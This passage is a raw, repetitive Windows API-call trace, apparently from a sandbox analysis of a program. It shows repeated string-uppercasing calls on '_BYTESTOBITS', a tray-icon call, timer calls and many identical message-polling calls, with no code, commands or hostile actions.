lpsz="_BYTESTOBITS") returned 0xc [0037.494] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.494] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.494] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.494] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.494] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.495] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.495] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.495] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.495] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.495] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.495] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.495] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.495] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.495] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.496] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.496] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.496] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.496] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.496] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.496] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.496] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.496] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.496] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.496] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.497] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.497] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.164] Shell_NotifyIconW (dwMessage=0x1, lpData=0xb6216ecf0) returned 1 [0038.165] KillTimer (hWnd=0x6002c, uIDEvent=0x1) returned 1 [0038.165] SetTimer (hWnd=0x6002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0038.165] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.165] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.165] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.165] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.165] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.165] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.165] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.166] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.166] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.166] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.166] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.166] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.166] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.166] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.166] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.166] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.167] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.167] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.167] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.167] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.167] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.167] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.167] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.167] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.168] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.168] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.168] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.168] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.168] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.168] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.168] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.168] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.168] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.168] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.169] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.169] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.169] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.169] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.169] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.169] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.169] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.169] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.169] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.170] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.170] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.170] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.170] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.170] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.170] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.171] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.172] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, 